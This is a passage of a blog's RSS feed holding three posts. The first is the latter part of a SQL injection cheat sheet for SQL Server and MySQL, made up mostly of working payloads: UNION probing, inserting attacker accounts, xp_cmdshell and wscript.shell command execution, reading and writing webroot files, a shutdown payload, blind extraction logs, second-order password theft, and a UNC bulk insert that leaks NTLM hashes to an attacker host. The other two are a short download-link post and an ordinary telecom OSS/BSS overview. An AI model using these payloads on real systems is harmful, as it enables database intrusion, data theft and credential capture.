/&gt;&lt;br /&gt;   * Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.&lt;br /&gt;   * To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (if injection is in WHERE). This can be critical if you are only getting one result at a time.&lt;br /&gt;   * Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.&lt;br /&gt;         o Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (because normally developers are not expecting to see NULL in a username field)&lt;br /&gt;&lt;br /&gt;Finding Column Type&lt;br /&gt;&lt;br /&gt;   * ' union select sum(columntofind) from users-- (S)&lt;br /&gt;     Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;     [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.&lt;br /&gt;&lt;br /&gt;     If you are not getting error it means column is numeric.&lt;br /&gt;&lt;br /&gt;   * Also you can use CAST() or CONVERT()&lt;br /&gt;         o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-&lt;br /&gt;     No Error - Syntax is right. MS SQL Server Used. Proceeding.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-&lt;br /&gt;     No Error – First column is an integer.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --&lt;br /&gt;     Error! – Second column is not an integer.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-&lt;br /&gt;     No Error – Second column is a string.&lt;br /&gt;&lt;br /&gt;   * 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-&lt;br /&gt;     Error! – Third column is not an integer. ...&lt;br /&gt;&lt;br /&gt;     Microsoft OLE DB Provider for SQL Server error '80040e07'&lt;br /&gt;     Explicit conversion from data type int to image is not allowed.&lt;br /&gt;&lt;br /&gt;You’ll get convert() errors before union target errors ! So start with convert() then union&lt;br /&gt;Simple Insert (MSO+)&lt;br /&gt;'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*&lt;br /&gt;Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes&lt;br /&gt;&lt;br /&gt;@@version (MS)&lt;br /&gt;Version of database and more details for SQL Server. It's a constant. You can just select it like any other column, you don't need to supply table name. Also you can use insert, update statements or in functions.&lt;br /&gt;&lt;br /&gt;INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)&lt;br /&gt;Bulk Insert (S)&lt;br /&gt;&lt;br /&gt;Insert a file content to a table. If you don't know internal path of web application you can read IIS (IIS 6 only) metabase file (%systemroot%\system32\inetsrv\MetaBase.xml) and then search in it to identify application path.&lt;br /&gt;&lt;br /&gt;        1. Create table foo( line varchar(8000) )&lt;br /&gt;        2. bulk insert foo from 'c:\inetpub\wwwroot\login.asp'&lt;br /&gt;        3. Drop temp table, and repeat for another file.&lt;br /&gt;&lt;br /&gt;BCP (S)&lt;br /&gt;&lt;br /&gt;Write text file. Login Credentials are required to use this function.&lt;br /&gt;bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar&lt;br /&gt;VBS, WSH in SQL Server (S)&lt;br /&gt;&lt;br /&gt;You can use VBS, WSH scripting in SQL Server because of ActiveX support.&lt;br /&gt;&lt;br /&gt;declare @o int&lt;br /&gt;exec sp_oacreate 'wscript.shell', @o out&lt;br /&gt;exec sp_oamethod @o, 'run', NULL, 'notepad.exe'&lt;br /&gt;Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --&lt;br /&gt;Executing system commands, xp_cmdshell (S)&lt;br /&gt;&lt;br /&gt;Well known trick, By default it's disabled in SQL Server 2005. You need to have admin access.&lt;br /&gt;&lt;br /&gt;EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'&lt;br /&gt;&lt;br /&gt;Simple ping check (configure your firewall or sniffer to identify request before launch it),&lt;br /&gt;&lt;br /&gt;EXEC master.dbo.xp_cmdshell 'ping '&lt;br /&gt;&lt;br /&gt;You can not read results directly from error or union or something else.&lt;br /&gt;Some Special Tables in SQL Server (S)&lt;br /&gt;&lt;br /&gt;   * Error Messages&lt;br /&gt;     master..sysmessages&lt;br /&gt;&lt;br /&gt;   * Linked Servers&lt;br /&gt;     master..sysservers&lt;br /&gt;&lt;br /&gt;   * Password (2000 and 20005 both can be crackable, they use very similar hashing algorithm )&lt;br /&gt;     SQL Server 2000: masters..sysxlogins&lt;br /&gt;     SQL Server 2005 : sys.sql_logins&lt;br /&gt;&lt;br /&gt;More Stored Procedures for SQL Server (S)&lt;br /&gt;&lt;br /&gt;  1. Cmd Execute (xp_cmdshell)&lt;br /&gt;     exec master..xp_cmdshell 'dir'&lt;br /&gt;&lt;br /&gt;  2. Registry Stuff (xp_regread)&lt;br /&gt;        1. xp_regaddmultistring&lt;br /&gt;        2. xp_regdeletekey&lt;br /&gt;        3. xp_regdeletevalue&lt;br /&gt;        4. xp_regenumkeys&lt;br /&gt;        5. xp_regenumvalues&lt;br /&gt;        6. xp_regread&lt;br /&gt;        7. xp_regremovemultistring&lt;br /&gt;        8. xp_regwrite&lt;br /&gt;           exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'&lt;br /&gt;           exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'&lt;br /&gt;&lt;br /&gt;  3. Managing Services (xp_servicecontrol)&lt;br /&gt;  4. Medias (xp_availablemedia)&lt;br /&gt;  5. ODBC Resources (xp_enumdsn)&lt;br /&gt;  6. Login mode (xp_loginconfig)&lt;br /&gt;  7. Creating Cab Files (xp_makecab)&lt;br /&gt;  8. Domain Enumeration (xp_ntsec_enumdomains)&lt;br /&gt;  9. Process Killing (need PID) (xp_terminate_process)&lt;br /&gt; 10. Add new procedure (virtually you can execute whatever you want)&lt;br /&gt;     sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’&lt;br /&gt;     exec xp_webserver&lt;br /&gt; 11. Write text file to a UNC or an internal path (sp_makewebtask)&lt;br /&gt;&lt;br /&gt;MSSQL Bulk Notes&lt;br /&gt;&lt;br /&gt;SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/&lt;br /&gt;&lt;br /&gt;DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0&lt;br /&gt;&lt;br /&gt;HOST_NAME()&lt;br /&gt;IS_MEMBER (Transact-SQL)&lt;br /&gt;IS_SRVROLEMEMBER (Transact-SQL)&lt;br /&gt;OPENDATASOURCE (Transact-SQL)&lt;br /&gt;&lt;br /&gt;INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"&lt;br /&gt;&lt;br /&gt;OPENROWSET (Transact-SQL)  - http://msdn2.microsoft.com/en-us/library/ms190312.aspx&lt;br /&gt;&lt;br /&gt;You can not use sub selects in SQL Server Insert queries.&lt;br /&gt;SQL Injection in LIMIT (M) or ORDER (MSO)&lt;br /&gt;&lt;br /&gt;SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;&lt;br /&gt;&lt;br /&gt;If injection is in second limit you can comment it out or use in your union injection&lt;br /&gt;Shutdown SQL Server (S)&lt;br /&gt;&lt;br /&gt;When you really pissed off, ';shutdown --&lt;br /&gt;Enabling xp_cmdshell in SQL Server 2005&lt;br /&gt;&lt;br /&gt;By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.&lt;br /&gt;&lt;br /&gt;EXEC sp_configure 'show advanced options',1&lt;br /&gt;RECONFIGURE&lt;br /&gt;&lt;br /&gt;EXEC sp_configure 'xp_cmdshell',1&lt;br /&gt;RECONFIGURE&lt;br /&gt;Finding Database Structure in SQL Server (S)&lt;br /&gt;Getting User defined Tables&lt;br /&gt;&lt;br /&gt;SELECT name FROM sysobjects WHERE xtype = 'U'&lt;br /&gt;Getting Column Names&lt;br /&gt;&lt;br /&gt;SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')&lt;br /&gt;Moving records (S)&lt;br /&gt;&lt;br /&gt;   * Modify WHERE and use NOT IN or NOT EXIST,&lt;br /&gt;     ... WHERE users NOT IN ('First User', 'Second User')&lt;br /&gt;     SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one&lt;br /&gt;&lt;br /&gt;   * Using Dirty Tricks&lt;br /&gt;     SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int        Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21    Fast way to extract data from Error Based SQL Injections in SQL Server (S)  ';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name&gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;--&lt;br /&gt;&lt;br /&gt;Detailed Article : Fast way to extract data from Error Based SQL Injections&lt;br /&gt;Blind SQL Injections&lt;br /&gt;About Blind SQL Injections&lt;br /&gt;&lt;br /&gt;In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.&lt;br /&gt;&lt;br /&gt;Normal Blind, You can not see a response in the page but you can still determine result of a query from response or HTTP status code&lt;br /&gt;Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though.&lt;br /&gt;&lt;br /&gt;In normal blinds you can use if statements or abuse WHERE query in injection (generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.&lt;br /&gt;Real and a bit Complex Blind SQL Injection Attack Sample&lt;br /&gt;&lt;br /&gt;This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.&lt;br /&gt;&lt;br /&gt;TRUE and FALSE flags mark queries returned true or false.&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;78--&lt;br /&gt;&lt;br /&gt;FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;103--&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;103-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)"&gt;89--&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;89-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)"&gt;83--&lt;br /&gt;&lt;br /&gt;TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;83-- id =" 1" xtype="0x55" xtype="0x55)),1,1)),0)"&gt;80--&lt;br /&gt;&lt;br /&gt;FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&lt;80-- productid =" 1;waitfor" productid ="1);waitfor" productid ="1';waitfor" productid ="1');waitfor" productid ="1));waitfor" productid ="1'));waitfor" username =" 'root')" id="4" id="5-1" id="4" 1="1" name="Book" name="Bo’%2b’ok" name="Bo’" name="Book’" user =" ‘root’;" user_group =" 1;" user="1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1" user="1+union+select+benchmark(500000,sha1"&gt;&gt; 7) &amp;amp; 1, benchmark(100000,sha1('test')), 'false' );&lt;br /&gt;&lt;br /&gt;Potentially Useful MySQL Functions&lt;br /&gt;&lt;br /&gt;   * MD5()&lt;br /&gt;     MD5 Hashing&lt;br /&gt;   * SHA1()&lt;br /&gt;     SHA1 Hashing&lt;br /&gt;&lt;br /&gt;   * PASSWORD()&lt;br /&gt;   * ENCODE()&lt;br /&gt;   * COMPRESS()&lt;br /&gt;     Compress data, can be great in large binary reading in Blind SQL Injections.&lt;br /&gt;   * ROW_COUNT()&lt;br /&gt;   * SCHEMA()&lt;br /&gt;   * VERSION()&lt;br /&gt;     Same as @@version&lt;br /&gt;&lt;br /&gt;Second Order SQL Injections&lt;br /&gt;&lt;br /&gt;Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.&lt;br /&gt;&lt;br /&gt;Name : ' + (SELECT TOP 1 password FROM users ) + '&lt;br /&gt;Email : xx@xx.com&lt;br /&gt;&lt;br /&gt;If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.&lt;br /&gt;Forcing SQL Server to get NTLM Hashes&lt;br /&gt;&lt;br /&gt;This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain &amp;amp; Abel.&lt;br /&gt;Bulk insert from a UNC Share (S)&lt;br /&gt;bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'&lt;br /&gt;&lt;br /&gt;Check out Bulk Insert Reference to understand how can you use bulk insert.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-5672805926695755980?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/10/find-and-exploit-sql-injections-with.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-7810260956654576849</guid><pubDate>Tue, 12 Oct 2010 19:31:00 +0000</pubDate><atom:updated>2010-10-12T12:32:31.603-07:00</atom:updated><title>Adobe Flex Sample code</title><description>Adobe Flex Sample code, Adobe Flex Sample project, Adobe Flex Sample code&lt;br /&gt;Flex projects, download flex project, Adobe flex&lt;br /&gt;&lt;br /&gt;http://www.avaxdownload.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5827248920231453242-7810260956654576849?l=dilsan.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://dilsan.blogspot.com/2010/10/adobe-flex-sample-code.html</link><author>noreply@blogger.com (Dileep Varma)</author><thr:total>0</thr:total></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-5827248920231453242.post-9209366615008414389</guid><pubDate>Sun, 12 Sep 2010 20:36:00 +0000</pubDate><atom:updated>2010-09-12T13:37:03.218-07:00</atom:updated><title>Telecom Testing</title><description>Telecom OSS/BSS: An Overview &lt;br /&gt;1. Introduction&lt;br /&gt;&lt;br /&gt;Before the initial 1970s, most of the support activities in a telephone company such as taking orders, maintaining network inventory, provisioning services (for example, line assignment and testing), configuring network components, managing faults and collecting payments were performed manually. It was realized that many of these activities could be replaced by computers. In the next few years, a number of computer systems and software applications were created to automate these activities. Examples include TIRKS, RMAS, SES, etc. Thus came the term Operations Support Systems (OSS). &lt;br /&gt;OSS are “network systems” dealing with the communications network and supporting processes such as maintaining network inventory, provisioning services, configuring network components, managing faults. &lt;br /&gt;&lt;br /&gt;Business Support Systems (BSS) is a newer term and typically refers to “business systems” dealing with customers and support processes such as taking orders, processing bills, collecting payments, sales and marketing, supporting customer care agents in response to service requests, trouble reporting and billing inquiries, etc.&lt;br /&gt;&lt;br /&gt;OSS and BSS systems together are often abbreviated as BSS/OSS or B/OSS. The term OSS was historically used to include both network and business systems. Some industry analysts, system integrators and service providers still use the term OSS to include both network and business systems, which sometimes causes confusion. &lt;br /&gt;&lt;br /&gt;This article provides an overview of some of the core areas in OSS and BSS such as Order Fulfillment, Service Assurance and Billing systems. The following BSS/OSS systems are covered: &lt;br /&gt;• Order Fulfillment – Order Management, Service Provisioning and Inventory Management &lt;br /&gt;• Service Assurance - Fault &amp; Trouble Management, Network Performance Management, Topology &amp; Configuration Management, Planning &amp; Testing &lt;br /&gt;• Billing - Billing Mediation, Rating, Billing Systems, Interconnection Billing, Revenue Assurance &lt;br /&gt;The article explains some of the basic functions of these systems. However, this article doesn't intend to provide extensive details. For an extensive overview of business activities, business process and functions, refer to standards such as eTOM and TAM at http://www.tmforum.org/. &lt;br /&gt;&lt;br /&gt;2. The Realm of OSS/BSS in Order Fulfillment, Assurance and Billing&lt;br /&gt;&lt;br /&gt;2.1 Order Fulfillment&lt;br /&gt;&lt;br /&gt;Communications products/services could range from Voice services to IP and Data services to Hosting and CPE services. Some of the examples of communications products/services are: &lt;br /&gt;• Voice – Basic telephony, long distance, toll-free, Voice over IP (VoIP), Contact Center, Local Access, etc. &lt;br /&gt;• Internet Protocol (IP) – Internet Access, VPN, Contact Center, VoIP, Remote Access, etc. &lt;br /&gt;• Data – Layer 1 Wide Area Network (WAN) Services such as SONET, Layer 2 WAN services such as ATM, Frame Relay, Private Lines, Layer 2 VPN and Metro Ethernet, etc. &lt;br /&gt;• Hosting – Custom Application Environments, Disaster Recovery, Managed Services such as storage, security and network services, Web Site Hosting, etc. &lt;br /&gt;Order Fulfillment functions are a critical set of activities performed in order to fulfill customer orders for services in a Communications Service Provider (CSP) environment. &lt;br /&gt;The following figure shows a very high-level view of activities performed in a typical CSP environment.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;After order entry, validation and submission, orders are decomposed and sent for provisioning. Upon fulfilling the decomposed orders and appropriate testing of the circuits, the orders are put into inventory. The following sub-sections explain the Order Fulfillment related functions and OSS/BSS systems.&lt;br /&gt;&lt;br /&gt;2.1.1 Order Management&lt;br /&gt;&lt;br /&gt;Order Management systems are complex systems that allow customer or customer service representatives to capture and process new orders, modify existing orders, process customer moves and changes, price quotes and orders, validate orders, etc., while supporting multiple channels such as Web, Order template documents and partner applications as well as multiple lines of businesses.  &lt;br /&gt;&lt;br /&gt;Order Management includes the following areas: &lt;br /&gt;• Order Entry and validation – The Order Entry process captures order details such as package or plan, service address, service details, customer accounts, relevant contacts and applicable contracts. Data entered during Order Entry is also validated against predetermined rules. &lt;br /&gt;Orders can be validated as the data is entered and/or validation after all the data has been entered. Products/solutions that validate order data as they are entered and walk the user through the product configuration process are known as “Product Configurators”. One of such tools available in the market is Selectica COnfigurator. &lt;br /&gt;• Order Decomposition – A single customer order can be decomposed into one or more service requests, typically based on service types or quantities, in order to be able to fulfill an order. &lt;br /&gt;For example, if a customer order contains both a VoIP order and a phone line order, two service requests would be created, one each for VoIP and the phone line, each of which would be sent to the appropriate provisioning systems. &lt;br /&gt;One of the major problems service providers often grapple with is that, as new services are added to the offerings, led by different business units, the lack of flexible order management platform results in product/service specific OSS/BSS applications. These in turn result in higher time-to-market as well as increased costs of maintaining many different applications and systems. Product catalog based Order Management solutions attempt to solve these problems by storing and processing qualification rules for services based on customer profiles, ordering channels, service locations, product interdependencies, availability, customer eligibility and other business constraints. &lt;br /&gt;&lt;br /&gt;2.1.2 Service Provisioning&lt;br /&gt;&lt;br /&gt;Service Provisioning systems are systems used to setup products/services for the customer after an order for the services has been created and accepted by the CSP. &lt;br /&gt;&lt;br /&gt;Service provisioning activities include specifying the pieces of equipment and parts of the network to fulfill the service, configuring the customer’s routing path, allocation of bandwidth in the transport network, setting up of wiring and transmission, etc.&lt;br /&gt;&lt;br /&gt;Some of the systems that constitute provisioning systems are: Circuit Design &amp; Assignment Tools, Activation systems, and Field Service Management systems.&lt;br /&gt;&lt;br /&gt;Circuit design refers to specifying whether facilities exist to provide the service and which pieces of the network equipment and routes the service shall utilize. &lt;br /&gt;&lt;br /&gt;One of the most widely used systems providing Circuit Design facility is Telcordia TIRKS. Apart from Circuit Design support, it also provides circuit order control, inventory record maintenance, selection and assignment of components from inventory, and preparation and distribution of circuit work orders. The order control module in TIRKS works with a circuit provisioning system and operates in conjunction with other TIRKS components to assign facility and equipment information for circuit orders and design circuits. TIRKS can then provide automated design criteria for certain circuit orders. The circuit design generated in TIRKS is then communicated to field operations or automated activation systems for implementation. &lt;br /&gt;&lt;br /&gt;Circuit Design and Assignment tools these days often have graphical tools that allow a user to create services on a network map using mouse clicks and drag-and-drop rather than drawing maps by hand or using an abstract set of equipment identifiers displayed in a table. &lt;br /&gt;&lt;br /&gt;After a service is designed based on the existing equipment and circuit inventory, it is ready to be activated. If new equipment or lines need to be configured manually, a Field Service Management (FSM) system is notified which in turn dispatches technicians. &lt;br /&gt;&lt;br /&gt;Moreover, certain activations can be performed automatically. For example, issuing commands to ATM or circuit switches to provision circuits, to SONET terminals to allocate bandwidth, and to a wide array of access devices such as DSLAMS, Digital Loop Carriers (DLC), or cable modems. For such activations, Service Activation systems pass the device specific commands and configuration changes to the network elements, Element Management Systems (EMS), Network Management Systems (NMS) or application hosts. &lt;br /&gt;&lt;br /&gt;EMSs are designed to receive and execute commands sent by activation systems on the devices. EMSs can also feed equipment status data back to network and trouble management systems. EMSs use protocols such as Common Management Information protocol (CMIP) or Transaction Language (TL) or Simple Network Management Protocol (SNMP) to communicate with activation and other systems.&lt;br /&gt;&lt;br /&gt;Activation systems often comprise a library of adapters to various network systems. They usually also support transaction control, i.e. the capability to roll-back operations already performed, in case an error occurs. &lt;br /&gt;It should be noted that Provisioning systems interact with the Inventory systems, both to verify that the required network elements and other facilities are available, and once the resources are provisioned - to reflect the changed on-line configuration of the facilities. Therefore, provisioning systems have close channels with inventory systems. As a result, some vendors have combined workflow capabilities with inventory management capabilities in their products. &lt;br /&gt;  &lt;br /&gt;2.3 Inventory Management &lt;br /&gt;  &lt;br /&gt;Tracking inventory involves tracking equipment, facilities and circuits. &lt;br /&gt;&lt;br /&gt;Some examples of information tracked are: the location and quantities of the equipment, how a piece of equipment is configured and its status, etc.&lt;br /&gt;Inventory Management Systems track both the physical network assets (such as equipment and devices) as well as “logical” inventory (such as active ports, circuit ids, IP addresses, etc.), although not all support both. &lt;br /&gt;&lt;br /&gt;By relating usage of network assets to specific customers and services, an inventory system can help network operations determine the network usage and available capacity as well as enable automated network design and planning. Inventory Management Systems also enable Service Assurance systems to find the impact of a network fault on the customer’s circuits. &lt;br /&gt;&lt;br /&gt;Some tools also have “auto-discovery” features to automatically check physical network assets and match the results with the information held in the inventory. However, these work only with some of the newer intelligent network elements.&lt;br /&gt;&lt;br /&gt;2.2 Service Assurance&lt;br /&gt;&lt;br /&gt;Communications service providers (CSP) strive to differentiate themselves from their competitors by implementing attractive Service Level Agreements (SLA). SLAs are formal contracts where the level of service delivered by the CSP to his customer is stipulated. An SLA may specify levels of service availability, performance, operation, etc. as well as penalties upon violation of the SLA. &lt;br /&gt;&lt;br /&gt;Offering SLAs implies that the service provider has the ability to monitor, act and report the level of service, in order to assure the quality of services delivered to the customers. Service Assurance refers to all the activities performed for such an assurance. The goal of Service Assurance is to provide an optimal customer experience, that helps retain existing customers, attract new customers and prevent penalties arising out of violation of SLAs. &lt;br /&gt;&lt;br /&gt;The following sub-sections introduce some of the common service Assurance systems.&lt;br /&gt;&lt;br /&gt;2.2.1 Fault and Trouble Management&lt;br /&gt;&lt;br /&gt;Fault Management Systems are designed for detection, isolation and correction of malfunctions in a communications network. They monitor and process network alarms generated by network elements (routers, switches, gateways, etc.). An alarm* is a persistent indication of a fault that is cleared only when the triggering condition is resolved. &lt;br /&gt;&lt;br /&gt;Examples of trouble or fault in a network are damage to an optical fiber line, switch failure, etc. Such a problem in the network can result in a chain reaction where many network elements in a certain path produce alarms*. &lt;br /&gt;&lt;br /&gt;Fault Management Systems may be either a component within Network Management Systems or as a standalone set of system and application software. &lt;br /&gt;&lt;br /&gt;The following figure illustrates how fault management works. &lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Network Elements are designed to provide various levels of self-diagnosis. Older Network Elements might simply send an alarm notifying a problem while newer Network Elements can provide more precise and detailed messages. Fault Management Systems may collect alarms via SNMP traps, CMIP events or proprietary agents, via EMS. They use complex filtering systems to assign alarms to specific severity levels and correlate different alarms to locate the source and cause of a problem.&lt;br /&gt;&lt;br /&gt;After a problem is identified, the FMS then notifies appropriate network operators as well as pass the problem information to a Trouble Management System that in turn logs the problem and issues a trouble ticket to start the repair process. &lt;br /&gt;&lt;br /&gt;The Trouble Management System then sends commands to appropriate systems such as Field Service Management to schedule and dispatch technicians to repair the equipment and/or to EMS to reroute network traffic around the problem areas. &lt;br /&gt;&lt;br /&gt;Trouble Management systems also handle automatic escalation, such as progression of a ticket from minor to major or major to critical, etc., and support a variety of notification methods such as paging, emails, synthesis voice dial-out. &lt;br /&gt;&lt;br /&gt;Fault Management systems usually provide graphical network displays which are projected on large screens at the Network Operations Centres (NOC). NOC operators can see role-based views on their consoles, shortcuts to operations they perform the most as well as tools to quickly make connections to EMS to perform any testing or diagnostic operation.&lt;br /&gt;&lt;br /&gt;2.2.2 Network Performance Management&lt;br /&gt;&lt;br /&gt;Performance Management components in NMS and other Alarm Handlers monitor applications and systems and collect performance variables of interest at specified intervals. Performance variables of interest may be service provider network edge availability, customer premises availability, response times, packet delivery rate, packet losses, latencies, jitters and out of sequence packet reorder, etc., to name a few.&lt;br /&gt;&lt;br /&gt;One way to capture performance metrics is collecting event logs, CDRs and other performance data such as counters or timers that the network and system elements maintain as part of their normal operation. This is referred to as passive measurement. Performance data is captured by polling MIB using SNMP or using syslog, (I &amp; II), FTP, EMS feeds, etc. Most passive measurements report on a single network element. &lt;br /&gt;&lt;br /&gt;For example, an Ethernet Switch may have a MIB which provides in and out data volumes of each port, histograms of frame sizes, number and types of erroneous frames, central processing unit (CPU) busy status. Associated Remote Monitoring (RMON) MIB-type data can then list ten most active users, etc. Performance Management tools can access the data by using SNMP to poll the MIBs at predefined intervals.&lt;br /&gt;Statistics on performance variables can also be captured via dedicated network appliances known such as “probes” and “sniffers” that monitor or probe customer’s local loop connections, packet performance, etc. This form of performance testing is usually referred to as active testing. &lt;br /&gt;&lt;br /&gt;Packet sniffers typically monitor signaling protocols such as SIP and RTP by inspecting packets on the wire/fiber, using pings, DNS, FTP, HTTP fetches, etc. Examples include WireShark and Geoprobes. &lt;br /&gt;&lt;br /&gt;Probes such as Brix Networks BrixWorks Verifiers and Tektronix/Minacom IVR tools typically emulate customer traffic in order to test or probe specific paths to measure the quality of the services supported. Probes could be either placed into the network or could be built into network elements such as in the case of Cisco’s IP Service Level Agreements tools. &lt;br /&gt;&lt;br /&gt;Note that active measurement measures a service, such as application response time, instead of the internal operation of a network element. &lt;br /&gt;&lt;br /&gt;An example of active network performance test is injecting “ping” (short, network layer echo packet) into the network aimed at a remote IP address. Round-trip time is measured if the ping packet returns, and an error counter is incremented if it doesn’t. &lt;br /&gt;&lt;br /&gt;Performance statistics captured by “active” or “passive” performance tests are normalized and routed to relational databases and/or data-warehouses. An alternative is to pass the performance data directly to Performance Management tools. For example, Concord eHealth could collect performance statistics from Netcool agents via SNMP polls at a pre-defined interval. &lt;br /&gt;&lt;br /&gt;Performance statistics are initially analyzed to determine the normal (baseline) levels. Appropriate thresholds are determined for each of the interesting performance variable so that exceeding the thresholds indicates a problem.&lt;br /&gt;&lt;br /&gt;Performance Management tools then measure the performance variables against SLAs defined as thresholds per application or service, on an on-going basis. In case of exceptions they report them to alarm handlers. This form of performance monitoring is reactive performance monitoring. Some tools also support proactive monitoring by way of providing simulation tools that helps network operators project how growth in network traffic will affect performance metrics and plan to take proactive countermeasures such as increase capacity.&lt;br /&gt;&lt;br /&gt;Performance Management tools may also support real-time and historical reporting. Some CSPs have taken performance statistics of the network affecting customers’ circuits to their customer self-service portals.&lt;br /&gt;&lt;br /&gt;2.2.3. Topology &amp; Configuration Management&lt;br /&gt;&lt;br /&gt;Older 